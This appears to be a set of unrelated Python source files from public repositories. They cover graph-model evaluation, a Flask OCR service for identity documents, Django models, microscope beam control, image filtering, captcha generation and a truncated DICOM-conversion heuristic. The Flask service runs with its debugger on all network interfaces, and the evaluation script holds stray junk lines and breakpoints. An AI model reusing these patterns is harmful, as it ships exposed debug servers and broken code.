assort.\", color ='purple')\n# axs[0,1].set_xlabel(\"Percentage of |E|\")\n# axs[0,1].set_ylabel('Pow law alpha')\n# # axs[0,1].legend()\n#\n# axs[1,0].plot([10*i for i in range(1,11,1)], cluster, label = \"clust. coef.\", color = 'orange',linestyle = 'dashed',marker = '*')\n# axs[1,0].plot([10*i for i in range(1,11,1)], [0.39935 for i in range(10)], label = \"real clust. coef.\", color ='orange')\n# axs[1,0].set_xlabel(\"Percentage of |E|\")\n# axs[1,0].set_ylabel('Clust. Coef.')\n# # axs[1,0].legend()\n#\n# axs[1,1].plot([10*i for i in range(1,11,1)], gini_coef, label = \"gini coef.\", color = 'red',linestyle = 'dashed',marker = '*')\n# axs[1,1].plot([10*i for i in range(1,11,1)], [0.57105 for i in range(10)], label = \"real gini coef.\", color ='red')\n# axs[1,1].set_xlabel(\"Percentage of |E|\")\n# axs[1,1].set_ylabel('Gini Coef.')\n# axs[1,1].legend()\n#\n# # plt.ylabel(\"metric\")\n# #\n\n\n# #\n# plt.legend(loc='upper left')\n# plt.show()\n\nedge_list_syn = np.load('outputs/Synthetic_benchmark/EmailEUCore_our_vae_generated_graph.npy')\n # edge_list_syn.append((int(e[0]),int(e[1])))\n# import pdb; pdb.set_trace()\n# edge_list_syn = nx.from_edgelist('outputs/Synthetic_benchmark/Cora_NetGAN_generated_graph.npy',create_using=nx.DiGraph())\n\n#\nbase_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir, os.pardir, 'data')\n\n\n\n\n# sbm_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data')\n#\n# graphs = torch.load('datasets\\data\\direct_sbm_dataset.pt')\n\n# # # #\n# # #\n# graphs = StochasticBlockModelDataset(base_path,block_sizes = [400,400,400,400],edge_probs = [[0.15,0.01,0.01,0.01],\n# [0.01,0.15,0.01,0.01],\n# [0.01,0.01,0.15,0.01],\n# [0.01,0.01,0.01,0.15]])\n# #\n# graphs.data.num_nodes = 1600\n# print(graphs.data)\n# torch.save(graphs,'sbm_test_in_out_4_1600_nodes.pt')\n# qgf\n# graphs = torch.load('sbm_test_in_out_4_1600_nodes.pt')\n\n\n#\n# edge_list = [(int(i[0]), int(i[1])) for i in graphs.data.edge_index.transpose(0,1)]\n#\n# real_graph = nx.from_edgelist(edge_list, create_using=nx.Graph())\n# import pdb;pdb.set_trace()\n# graphs = Planetoid(\"\\..\", \"Cora\", transform=T.NormalizeFeatures())\n#import pdb;pdb.set_trace()\n\n# graphs = AttributedGraphDataset(base_path,\"Wiki\")\ngraphs = EmailEUCore(base_path)\n# graphs = SNAPDataset(base_path,\"ego-facebook\").get(1)\n#\n#\n#\n# graphs.data = Data(x=graphs.x, edge_index=graphs.edge_index, n_nodes=graphs.num_nodes)\nprint(graphs.data)\n# data = dataset[0]\n# data.train_mask = data.val_mask = data.test_mask = data.y = None\n# data = train_test_split_edges(data)\n\n# print(data)\n\n#sum(nx.triangles(G).values()) / 3\n\n#syn_graph = nx.from_edgelist(random.choices(list(set(edge_list_syn)),k=27000), create_using=nx.Graph())\ndir = False\nif dir == True:\n\n syn_graph = nx.from_edgelist(edge_list_syn, create_using=nx.DiGraph())\n\n edge_list = [(int(i[0]), int(i[1])) for i in graphs.data.edge_index.transpose(0,1)]\n # syn_graph = nx.from_edgelist(edge_list)\n\n real_graph = nx.from_edgelist(edge_list, create_using=nx.DiGraph())\n\n print(len(list(syn_graph.nodes())))\n print(len(list(syn_graph.edges())))\nif dir == False:\n\n syn_graph = nx.from_edgelist(edge_list_syn, create_using=nx.Graph())\n graphs.data.edge_index = to_undirected(graphs.data.edge_index)\n edge_list_tensor = to_undirected(graphs.data.edge_index)\n edge_list_tensor = edge_list_tensor.transpose(0,1)\n\n edge_list = [(int(i[0]),int(i[1])) for i in edge_list_tensor]\n # syn_graph = nx.from_edgelist(edge_list)\n real_graph = nx.from_edgelist(edge_list)\n print(graphs)\n print(len(list(syn_graph.nodes())))\n\n print(len(list(syn_graph.edges())))\n\nprint(compute_graph_statistics(real_graph))\n\nprint(compute_graph_statistics(syn_graph))\n\n\n\n#\n# print(f'Number of triangles in the real graph: {sum(nx.triangles(real_graph.to_undirected()).values()) / 3}')\n# print(f'Number of triangles in the synthetic graph: {sum(nx.triangles(syn_graph.to_undirected()).values()) / 3}')\n#\n# print(f'Assortativity in the real graph: {nx.degree_assortativity_coefficient(real_graph)}')\n# print(f'Assortativity in the synthetic graph: {nx.degree_assortativity_coefficient(syn_graph)}')\n#\n# print(f'Clustering coef in the real graph: {nx.average_clustering(real_graph)}')\n# print(f'Clustering coef in the synthetic graph: {nx.average_clustering(syn_graph)}')\n#\n# degree_sequence_syn = sorted((d for n, d in syn_graph.degree()), reverse=True)\n# degree_sequence_real = sorted((d for n, d in real_graph.degree()), reverse=True)\n#\n# #\n# k_core_syn = sorted((d for n, d in nx.core_number(syn_graph.remove_edges_from(nx.selfloop_edges(syn_graph)))), reverse=True)\n# k_core_real = sorted((d for n, d in nx.core_number(real_graph.remove_edges_from(nx.selfloop_edges(real_graph)))), reverse=True)\n#\n# print(f'core number in the real graph: {max(k_core_real)}')\n# print(f'core number in the synthetic graph: {max(k_core_syn)}')\n#\n#\n# print(f'number of squares in the real graph: {squares(real_graph)}')\n# print(f'number of squares in the synthetic graph: {squares(syn_graph)}')\n#\n#\n#\n#\n# print(f'Max degree coef in the real graph: {max(degree_sequence_real)}')\n# print(f'Max degree coef in the synthetic graph: {max(degree_sequence_syn)}')\n\n\n\n\nimport pdb;pdb.set_trace()\n\nreal_torch_graph = torch.tensor(np.array(list(real_graph.edges())).T,dtype=torch.long)\n\n\nreal_data = Data(edge_index = real_torch_graph, num_nodes = graphs.data.num_nodes)\n\ndegree_sequence_syn = sorted((d for n, d in syn_graph.degree()), reverse=True)\nsyn_distrib = np.unique(degree_sequence_syn)*1./(sum(np.unique(degree_sequence_syn)))\n\n\ndegree_sequence_real = sorted((d for n, d in real_graph.degree()), reverse=True)\nreal_distrib = np.unique(degree_sequence_real) * 1. / (sum(np.unique(degree_sequence_real)))\n\n#syn_torch_graph = from_networkx(syn_graph)\n\nsyn_torch_graph = torch.tensor(np.array(list(syn_graph.edges())).T,dtype=torch.long)\n\nsyn_torch_graph = Data(edge_index = syn_torch_graph, num_nodes = graphs.data.num_nodes)\n\n#syn_torch_graph.edge_index = to_undirected(syn_torch_graph.edge_index)\n\n# import numpy as np\n# import matplotlib.pyplot as plt\n# fig = plt.figure(\"Degree of a random graph\", figsize=(8, 8))\n#\n# axgrid = fig.add_gridspec(5, 4)\n# ax2 = fig.add_subplot(axgrid[0:3,:])\n# ax2.bar(*np.unique(degree_sequence_syn, return_counts=True),color='red',label='Synthetic Graph')\n# ax2.bar(*np.unique(degree_sequence_real, return_counts=True),label = 'Real Graph')\n# ax2.set_title(\"Degree histogram\")\n# ax2.set_xlabel(\"Degree\")\n# ax2.set_ylabel(\"Number of Nodes\")\n# ax2.legend()\n# fig.tight_layout()\n# plt.show()\n\nprint(syn_torch_graph)\n\n\nprint(real_data)\nsyn_torch_graph = syn_torch_graph\n\nsyn_torch_graph.num_nodes=graphs.data.num_nodes\n\nsyn_torch_graph.x=torch.eye(graphs.data.num_nodes, dtype = torch.float32)#*1./graphs.data.num_nodes\n\ndata = train_test_split_edges(syn_torch_graph)\n\nprint(data.x)\n\nclass GCNEncoder(torch.nn.Module):\n def __init__(self, in_channels, out_channels):\n super(GCNEncoder, self).__init__()\n self.conv1 = GCNConv(in_channels, 2 * out_channels, cached=True) # cached only for transductive learning\n self.conv2 = GCNConv(2 * out_channels, out_channels, cached=True) # cached only for transductive learning\n\n def forward(self, x, edge_index):\n x = self.conv1(x, edge_index).relu()\n return self.conv2(x, edge_index)\n\n\nfrom torch_geometric.nn import VGAE\nfrom torch_geometric.nn import GAE\n#\n# out_channels = 2\n# num_features = 20\n# epochs = 100\n#\n# # model\n# model = GAE(GCNEncoder(num_features, out_channels))\n#\n# # move to GPU (if available)\n# device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n# model = model.to(device)\n# x = data.x.to(device)\n# train_pos_edge_index = data.train_pos_edge_index.to(device)\n#\n# # inizialize the optimizer\n# optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\n\ndef train():\n model.train()\n optimizer.zero_grad()\n z = model.encode(x, train_pos_edge_index)\n loss = model.recon_loss(z, train_pos_edge_index)\n\n loss = loss + (1 / data.num_nodes) * model.kl_loss() # new line\n loss.backward()\n optimizer.step()\n return float(loss)\n\n\ndef test(pos_edge_index, neg_edge_index):\n model.eval()\n with torch.no_grad():\n z = model.encode(x, train_pos_edge_index)\n return model.test(z, pos_edge_index, neg_edge_index)\n\nfrom torch.utils.tensorboard import SummaryWriter\n\nclass VariationalGCNEncoder(torch.nn.Module):\n def __init__(self, in_channels, out_channels):\n super(VariationalGCNEncoder, self).__init__()\n self.conv1 = GCNConv(in_channels, 2 * out_channels, cached=True) # cached only for transductive learning\n self.conv_mu = GCNConv(2 * out_channels, out_channels, cached=True)\n self.conv_logstd = GCNConv(2 * out_channels, out_channels, cached=True)\n\n def forward(self, x, edge_index):\n x = self.conv1(x, edge_index).relu()\n return self.conv_mu(x, edge_index), self.conv_logstd(x, edge_index)\n\nout_channels = 2\nnum_features = graphs.data.num_nodes\nepochs = 300\nprint('la')\n\nmodel = VGAE(VariationalGCNEncoder(num_features, out_channels)) # new line\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nmodel = model.to(device)\nx = data.x.to(device)\ntrain_pos_edge_index = data.train_pos_edge_index.to(device)\noptimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\nwriter = SummaryWriter('runs/VGAE_experiment_' + '2d_100_epochs')\n\nprint('la')\ngraphs.data.x = torch.tensor([[1] for i in range(graphs.data.num_nodes)], dtype = torch.float32)\n\n\ndata_real = train_test_split_edges(real_data.to(device), test_ratio = 0.9)\n\nfor epoch in range(1, epochs + 1):\n loss = train()\n auc, ap = test(data.test_pos_edge_index, data.test_neg_edge_index)\n print('Epoch: {:03d}, AUC: {:.4f}, AP: {:.4f}'.format(epoch, auc, ap))\n\n writer.add_scalar('auc train', auc, epoch) # new line\n writer.add_scalar('ap train', ap, epoch) # new line\n\nauc, ap = test(data_real.test_pos_edge_index, data_real.test_neg_edge_index)\nprint('Final test vs real, AUC: {:.4f}, AP: {:.4f}'.format(auc, ap))\n\nqewf\na = model.decoder.forward_all(model.encode(x,train_pos_edge_index))\n\nuni = np.random.uniform(0,35,num_features*num_features).reshape(num_features,num_features)\nb = torch.tensor(uni)<=a.cpu()\nG =nx.from_numpy_matrix(np.array(b*1))\nG.remove_edges_from(nx.selfloop_edges(G))\nedge_list_samples = list(G.edges())\n\n\n\nwith open('vgae_eucore_edge_list.pkl', 'wb') as f:\n pickle.dump(edge_list_samples, f)\n\n\nimport pdb; pdb.set_trace()\n\n\n\n\n\n\n","repo_name":"Slimnios/SaGess","sub_path":"src/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":15690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6335505422","text":"# create hello world flask app in python3\nfrom flask import Flask, request\nfrom flask_cors import CORS\nimport cv2\nimport numpy as np\nimport pytesseract\n\n\ncustom_config = r'--oem 3 --psm 6'\n\napp = Flask(__name__)\nCORS(app)\n\n\n# class Field having 4 coordinates\nclass Field:\n def __init__(self, x1_percent, y1_percent, x2_percent, y2_percent):\n self.x1_percent = x1_percent\n self.y1_percent = y1_percent\n self.x2_percent = x2_percent\n self.y2_percent = y2_percent\n\n def drawRect(self, output):\n x1 = int(output.shape[1] * self.x1_percent / 100)\n y1 = int(output.shape[0] * self.y1_percent / 100)\n x2 = int(output.shape[1] * self.x2_percent / 100)\n y2 = int(output.shape[0] * self.y2_percent / 100)\n cv2.rectangle(output, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n def getCroppedImage(self, output):\n x1 = int(output.shape[1] * self.x1_percent / 100)\n y1 = int(output.shape[0] * self.y1_percent / 100)\n x2 = int(output.shape[1] * self.x2_percent / 100)\n y2 = int(output.shape[0] * self.y2_percent / 100)\n return output[y1:y2, x1:x2]\n\n def getDataInIt(self, image):\n return pytesseract.image_to_string(self.getCroppedImage(image), config=custom_config).strip()\n\n\n# get grayscale image\ndef get_grayscale(image):\n return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# noise removal\n\n\ndef remove_noise(image):\n return cv2.medianBlur(image, 5)\n\n# thresholding\n\n\ndef thresholding(image):\n return cv2.threshold(image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n\n# dilation\n\n\ndef dilate(image):\n kernel = np.ones((5, 5), np.uint8)\n return cv2.dilate(image, kernel, iterations=1)\n\n# erosion\n\n\ndef erode(image):\n kernel = np.ones((5, 5), np.uint8)\n return cv2.erode(image, kernel, iterations=1)\n\n# opening - erosion followed by dilation\n\n\ndef opening(image):\n kernel = np.ones((5, 5), np.uint8)\n return cv2.morphologyEx(image, cv2.MORPH_OPEN, kernel)\n\n# canny edge detection\n\n\ndef canny(image):\n return cv2.Canny(image, 100, 200)\n\n# skew correction\n\n\ndef deskew(image):\n coords = np.column_stack(np.where(image > 0))\n angle = cv2.minAreaRect(coords)[-1]\n if angle < -45:\n angle = -(90 + angle)\n else:\n angle = -angle\n (h, w) = image.shape[:2]\n center = (w // 2, h // 2)\n M = cv2.getRotationMatrix2D(center, angle, 1.0)\n rotated = cv2.warpAffine(\n image, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)\n return rotated\n\n# template matching\n\n\ndef match_template(image, template):\n return cv2.matchTemplate(image, template, cv2.TM_CCOEFF_NORMED)\n\n\ndef readAndTransformImage(imageFromRequest):\n numpyImage = np.fromfile(imageFromRequest, np.uint8)\n file = cv2.imdecode(numpyImage, cv2.IMREAD_COLOR)\n\n image = get_grayscale(file)\n image = cv2.threshold(image, 127, 255, 0)[1]\n\n return image\n\n\ndef getCinFront(requestFile):\n image = readAndTransformImage(requestFile)\n\n # coordinates of the 4 fields large space\n nameField = Field(0, 31, 50, 38)\n familyNameField = Field(0, 44, 50, 51)\n dateField = Field(20, 50, 40, 57)\n placeField = Field(2, 64, 50, 71)\n validDateField = Field(25, 70, 45, 77)\n idField = Field(68, 76, 88, 83)\n\n name = nameField.getDataInIt(image)\n familyName = familyNameField.getDataInIt(image)\n date = dateField.getDataInIt(image)\n place = placeField.getDataInIt(image)\n validDate = validDateField.getDataInIt(image)\n id = idField.getDataInIt(image)\n\n return {\n 'name': name,\n 'familyName': familyName,\n 'date': date,\n 'place': place,\n 'validDate': validDate,\n 'id': id\n }\n\n\ndef getCinBack(requestFile):\n image = readAndTransformImage(requestFile)\n\n # coordinates of the 4 fields large space\n idField = Field(10, 2, 22, 8)\n validDateField = Field(65, 2, 80, 9)\n fatherNameField = Field(12, 23, 60, 29)\n motherNameField = Field(10, 29, 60, 36)\n addressField = Field(12.3, 48, 75, 56)\n maritalStatusField = Field(20, 60, 40, 68)\n genderField = Field(80, 60, 88, 68)\n\n id = idField.getDataInIt(image)\n validDate = validDateField.getDataInIt(image)\n fatherName = fatherNameField.getDataInIt(image)\n motherName = motherNameField.getDataInIt(image)\n address = addressField.getDataInIt(image)\n maritalStatus = maritalStatusField.getDataInIt(image)\n gender = genderField.getDataInIt(image)\n\n return {\n 'id': id,\n 'validDate': validDate,\n 'fatherName': fatherName,\n 'motherName': motherName,\n 'address': address,\n 'maritalStatus': maritalStatus,\n 'gender': gender,\n }\n\ndef getCinBack(requestFile):\n image = readAndTransformImage(requestFile)\n\n # coordinates of the 4 fields large space\n idField = Field(10, 2, 22, 8)\n validDateField = Field(65, 2, 80, 9)\n fatherNameField = Field(12, 23, 60, 29)\n motherNameField = Field(10, 29, 60, 36)\n addressField = Field(12.3, 48, 75, 56)\n maritalStatusField = Field(20, 60, 40, 68)\n genderField = Field(80, 60, 88, 68)\n\n id = idField.getDataInIt(image)\n validDate = validDateField.getDataInIt(image)\n fatherName = fatherNameField.getDataInIt(image)\n motherName = motherNameField.getDataInIt(image)\n address = addressField.getDataInIt(image)\n maritalStatus = maritalStatusField.getDataInIt(image)\n gender = genderField.getDataInIt(image)\n\n return {\n 'id': id,\n 'validDate': validDate,\n 'fatherName': fatherName,\n 'motherName': motherName,\n 'address': address,\n 'maritalStatus': maritalStatus,\n 'gender': gender,\n }\n\n\ndef getPermisFront(requestFile):\n image = readAndTransformImage(requestFile)\n\n nameField = Field(37, 33, 70, 39)\n familyNameField = Field(37, 49, 70, 55)\n dateField = Field(37, 60, 70, 66)\n placeField = Field(37, 71, 70, 76)\n deliveryPlaceField = Field(49, 81, 70, 85)\n deliveryDateField = Field(45, 85, 63, 91)\n permisTypeField = Field(39, 92, 42.5, 98)\n permisNumberField = Field(69, 18, 85, 24)\n CINField = Field(80, 60, 95, 66)\n\n name = nameField.getDataInIt(image)\n familyName = familyNameField.getDataInIt(image)\n date = dateField.getDataInIt(image)\n place = placeField.getDataInIt(image)\n deliveryPlace = deliveryPlaceField.getDataInIt(image)\n deliveryDate = deliveryDateField.getDataInIt(image)\n permisType = permisTypeField.getDataInIt(image)\n permisNumber = permisNumberField.getDataInIt(image)\n CIN = CINField.getDataInIt(image)\n\n return {\n 'name': name,\n 'familyName': familyName,\n 'date': date,\n 'place': place,\n 'deliveryPlace': deliveryPlace,\n 'deliveryDate': deliveryDate,\n 'permisType': permisType,\n 'permisNumber': permisNumber,\n 'CIN': CIN,\n }\n\n\ndef getPermisBack(requestFile):\n image = readAndTransformImage(requestFile)\n\n endOfValidity = Field(11, 63, 29, 70)\n smallSerie = Field(5, 73, 35, 80)\n largeSerie = Field(3, 86, 97, 97)\n\n endOfValidity = endOfValidity.getDataInIt(image)\n smallSerie = smallSerie.getDataInIt(image)\n largeSerie = largeSerie.getDataInIt(image)\n\n return {\n 'endOfValidity': endOfValidity,\n 'smallSeries': smallSerie,\n 'largeSeries': largeSerie,\n }\n\n\n# handle post request having image in request data\n# return the same image in response\n@app.route(\"/api\", methods=['POST'])\ndef mainAPI():\n result = dict()\n\n if \"CIN1\" in request.files:\n file_CIN1 = request.files[\"CIN1\"]\n result[\"CIN1\"] = getCinFront(file_CIN1)\n\n if \"CIN2\" in request.files:\n file_CIN2 = request.files[\"CIN2\"]\n result[\"CIN2\"] = getCinBack(file_CIN2)\n if \"PERMIS1\" in request.files:\n file_PERMIS1 = request.files[\"PERMIS1\"]\n result[\"PERMIS1\"] = getPermisFront(file_PERMIS1)\n\n if \"PERMIS2\" in request.files:\n file_PERMIS2 = request.files[\"PERMIS2\"]\n result[\"PERMIS2\"] = getPermisBack(file_PERMIS2)\n\n # print(result)\n\n # print(result)\n\n return {\n 'status': 'success',\n 'result': result\n }\n\n@app.route(\"/api/test\", methods=['GET'])\ndef testAPI():\n return {\n 'status': 'success',\n 'result': 'test'\n }\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0')","repo_name":"Diettrich/NARSA-doc-reader","sub_path":"python-service/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17445953667","text":"from django.contrib.auth.models import User\nfrom django.db import models\n\n\n# Create your models here.\nclass Driver(models.Model):\n\n first_name = models.CharField(max_length=40)\n last_name = models.CharField(max_length=40)\n email = models.EmailField()\n date_hired = models.DateField()\n date_fired = models.DateField(null=True)\n active = models.BooleanField(default=True)\n profile = models.ImageField(upload_to='profiles_driver/')\n\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return f'{self.first_name} {self.last_name}'\n\n\nclass HistoryDriver(models.Model):\n message = models.TextField(max_length=500)\n created_at = models.DateTimeField(auto_now_add=True)\n active = models.BooleanField(default=True)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n\n def __str__(self):\n return self.message\n","repo_name":"razvantr/Final_Project","sub_path":"driver/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21802739606","text":"from PyQt5.QtCore import QThread, QMutex, QWaitCondition\n\nfrom lib.DIC_lib import *\n\n\nclass FibProcessThread(QThread):\n def __init__(self, xml, preset=\"2. Fine milling, polishing\", parent=None):\n \"\"\"\n Constructor.\n\n :param xml: xml text\n :param preset: preset\n :param parent: parent\n \"\"\"\n\n QThread.__init__(self, parent)\n\n self.preset = preset\n self.parent = parent\n self.xml = xml\n\n def __del__(self):\n self.wait()\n\n def run(self):\n \"\"\"\n Runs an DrawBeam external xml layer in a new thread according to SharkSEM Remote Control DrawBeam Extension.\n \"\"\"\n\n self.connection = self.parent.connection\n\n # parsing the xml text\n layer = parseString(self.xml)\n\n # get settings from xml layer\n self.settings = layer.getElementsByTagName(\"Settings\")[0]\n\n # set view field\n wf = float(self.settings.getAttribute(\"WriteFieldSize\")) # in meters\n\n self.connection.logger.info(\"Setting write field to %.1f um\" % (wf * 1e6))\n self.connection.FibSetViewField(wf * 1e3) # conversion to mm\n\n while self.parent.ProcessTab.paused:\n time.sleep(0.1)\n\n # check if fib is ready\n self.connection.checkFibCfg()\n\n # check if preset exists\n presets = self.connection.FibListPresets()\n if presets.count(self.preset) > 0:\n self.connection.logger.info(\"changing preset to : %s\" % self.preset)\n self.connection.FibSetPreset(self.preset)\n else:\n raise FibError(\"The FIB preset: %s doesn't exist\" % self.preset)\n\n FCC = self.connection.FibReadFCCurr() # in pA\n self.connection.logger.info(\"Faraday cup current = %f pA\" % FCC)\n\n # update beam current in xml project to actual value for time estimation correction\n if FCC <= 0:\n # in demo mode no current detected - 100pA set in such a case\n self.connection.logger.info(\"Demo mode detected,FC current increased 100x to value = %e pA\" % (\n float(self.settings.getAttribute(\"BeamCurrent\")) * 100 * 1e12))\n self.settings.setAttribute(\"BeamCurrent\", \"%e\" % (float(self.settings.getAttribute(\"BeamCurrent\")) * 100))\n else:\n self.connection.logger.info(\"Beam current=0. Updating layer current from %s A to %.2e A\" % (\n self.settings.getAttribute(\"BeamCurrent\"), FCC * 1e-12))\n self.settings.setAttribute(\"BeamCurrent\", \"%.2e\" % (FCC * 1e-12))\n\n while self.parent.ProcessTab.paused:\n time.sleep(0.1)\n\n \n\n # generating updated xml text\n xml = layer.toxml()\n self.connection.logger.debug(xml)\n self.connection.logger.info(\"Unloading layer with status: %i\" % self.connection.DrwUnloadLayer(0))\n self.connection.logger.info(\"Loading layer into DrawBeam with status:%i\" % (\n self.connection.DrwLoadLayer(0, xml)))\n self.connection.logger.debug(\"Any previous process is stopped ?? with status:%i\" % (self.connection.DrwStop()))\n self.connection.logger.info(\"Layer started with status:%i\" % (self.connection.DrwStart(0)))\n\n status = self.connection.DrwGetStatus()\n\n self.connection.logger.info(\"Drawbeam thread Status:%i\" % (status[0]))\n\n while status[0] == 2 or status[0] == 3: # means layer is running or paused\n while self.parent.ProcessTab.paused:\n time.sleep(0.1)\n\n try:\n self.connection.logger.debug(\"\"\"Layer progress: Time: %.2f s / %.2f s ()\"\"\" % (status[2], status[1]))\n time.sleep(0.2)\n status = self.connection.DrwGetStatus()\n\n if status[0] == 1: # layer finished\n self.connection.logger.debug(\"Drawbeam Status: Layer Finished\")\n # self.terminate()\n\n if status[0] == 3:\n self.connection.logger.debug(\"Drawbeam Status: Layer paused\")\n time.sleep(1)\n else:\n self.connection.logger.debug(\"Drawbeam Status: running\")\n time.sleep(0.5)\n\n except KeyboardInterrupt:\n self.connection.logger.error(\"Keyboard Interrupt\")\n self.connection.logger.info(\"Layer stopped with status:%i\" % (self.connection.DrwStop()))\n self.connection.logger.info(\"Unloading layer with status:\", self.connection.DrwUnloadLayer(0))\n self.terminate()\n","repo_name":"JurriDluggi/AutoDIC","sub_path":"FibProcess.py","file_name":"FibProcess.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"74273008857","text":"from .._tier0 import execute\nfrom .._tier0 import plugin_function\nfrom .._tier0 import Image\n\n@plugin_function(categories=['filter', 'in assistant'], priority=-1)\ndef exponential(source : Image, destination : Image = None) -> Image:\n \"\"\"Computes base exponential of all pixels values.\n \n f(x) = exp(x) \n \n Author(s): Peter Haub, Robert Haase\n \n Parameters\n ----------\n source : Image\n destination : Image, optional\n \n Returns\n -------\n destination\n \n Examples\n --------\n >>> import pyclesperanto_prototype as cle\n >>> cle.exponential(source, destination)\n \n References\n ----------\n .. [1] https://clij.github.io/clij2-docs/reference_exponential\n \"\"\"\n\n\n parameters = {\n \"src\":source,\n \"dst\":destination\n }\n\n execute(__file__, '../clij-opencl-kernels/kernels/exponential_' + str(len(destination.shape)) + 'd_x.cl', 'exponential_' + str(len(destination.shape)) + 'd', destination.shape, parameters)\n return destination\n","repo_name":"clEsperanto/pyclesperanto_prototype","sub_path":"pyclesperanto_prototype/_tier1/_exponential.py","file_name":"_exponential.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"68"}
+{"seq_id":"33967979524","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n作者:liux\n日期:2018/8/6 14:03\n功能:随机生成不同的验证码图片\n\"\"\"\n\n\nimport random\nimport os\nfrom PIL import ImageDraw,ImageFont,Image,ImageFilter\n\n\nPATH=os.getcwd()\n#Arial.ttf 需要自己找,一般电脑自带C:\\Windows\\Fonts\\Arial.ttf\nfont_file_path=PATH+'/pyUtils/fontSysFiles/Arial.ttf'\n\ndef random_check_code(width=120,height=30,char_length=5):\n code = []\n # 背景颜色,默认为白色\n img = Image.new(mode='RGB', size=(width, height), color=(255, 255, 255))\n draw = ImageDraw.Draw(img, mode='RGB')\n\n def rndChar():\n \"\"\"\n 生成随机字母\n :return:\n \"\"\"\n return chr(random.randint(65, 90))\n\n def rndColor():\n \"\"\"\n 生成随机颜色\n :return:\n \"\"\"\n return (random.randint(0, 255), random.randint(10, 255), random.randint(64, 255))\n\n # 写文字\n font = ImageFont.truetype(font_file_path, 25)\n # font = ImageFont.load_default().font\n for i in range(char_length):\n char = rndChar()\n code.append(char)\n h = random.randint(0, 4)\n draw.text([i * width / char_length, h], char, font=font, fill=rndColor())\n\n # 写干扰点\n for i in range(40):\n draw.point([random.randint(0, width), random.randint(0, height)], fill=rndColor())\n\n # 写干扰圆圈\n for i in range(40):\n draw.point([random.randint(0, width), random.randint(0, height)], fill=rndColor())\n x = random.randint(0, width)\n y = random.randint(0, height)\n draw.arc((x, y, x + 4, y + 4), 0, 90, fill=rndColor())\n\n # 画干扰线\n for i in range(5):\n x1 = random.randint(0, width)\n y1 = random.randint(0, height)\n x2 = random.randint(0, width)\n y2 = random.randint(0, height)\n draw.line((x1, y1, x2, y2), fill=rndColor())\n\n img = img.filter(ImageFilter.EDGE_ENHANCE_MORE) #加滤镜,可以增加颜色的不同\n return img, ''.join(code)","repo_name":"LiuX666/Python_practice","sub_path":"loginCheckCode/pyUtils/randomCheckCode.py","file_name":"randomCheckCode.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"27472388045","text":"import os, re, glob\nfrom frozendict import frozendict\nimport nibabel.nicom.dicomwrappers as nb_dw\nfrom heudiconv.heuristics import reproin\nfrom heudiconv.heuristics.reproin import (\n OrderedDict,\n create_key,\n get_dups_marked,\n parse_series_spec,\n sanitize_str,\n lgr,\n series_spec_fields,\n)\n\ndef load_example_dcm(seqinfo):\n ex_dcm_path = sorted(glob.glob(os.path.join('/tmp', 'heudiconv*', '*', seqinfo.dcm_dir_name, seqinfo.example_dcm_file)))[0]\n return nb_dw.wrapper_from_file(ex_dcm_path)\n\ndef custom_seqinfo(wrapper, series_files):\n #print('calling custom_seqinfo', wrapper, series_files)\n\n pedir_pos = None\n if hasattr(wrapper, 'csa_header'):\n pedir_pos = wrapper.csa_header[\"tags\"][\"PhaseEncodingDirectionPositive\"][\"items\"]\n pedir_pos = pedir_pos[0] if len(pedir_pos) else None\n custom_info = frozendict({\n 'patient_name': wrapper.dcm_data.PatientName,\n 'pe_dir': wrapper.dcm_data.get('InPlanePhaseEncodingDirection', None),\n 'pe_dir_pos': pedir_pos,\n 'body_part': wrapper.dcm_data.get(\"BodyPartExamined\", None),\n 'scan_options': str(wrapper.dcm_data.get(\"ScanOptions\", None)),\n 'image_comments': wrapper.dcm_data.get(\"ImageComments\", \"\"),\n 'slice_orient': str(wrapper.dcm_data.get([0x0051,0x100e]).value),\n 'echo_number': str(wrapper.dcm_data.get(\"EchoNumber\", None)),\n 'rescale_slope': wrapper.dcm_data.get(\"RescaleSlope\", None),\n })\n return custom_info\n\ndef infotoids(seqinfos, outdir):\n\n seqinfo = next(seqinfos.__iter__())\n\n #ex_dcm = load_example_dcm(seqinfo)\n\n pi = str(seqinfo.referring_physician_name)\n study_name = str(seqinfo.study_description)\n patient_name = str(seqinfo.custom['patient_name'])\n\n study_path = study_name.split(\"^\")\n\n rema = re.match(\"(([^_]*)_)?(([^_]*)_)?p([0-9]*)_([a-zA-Z]*)([0-9]*)\", patient_name)\n if rema is None:\n rema = re.match(\"(([^_]*)_)?(([^_]*)_)?(dev)_([a-zA-Z]*)([0-9]*)\", patient_name)\n if rema:\n study_name = rema.group(1)\n sub_study_name = rema.group(3)\n subject_id = rema.group(5)\n session_type = rema.group(6)\n session_id = rema.group(7)\n\n if rema is None:\n rema = 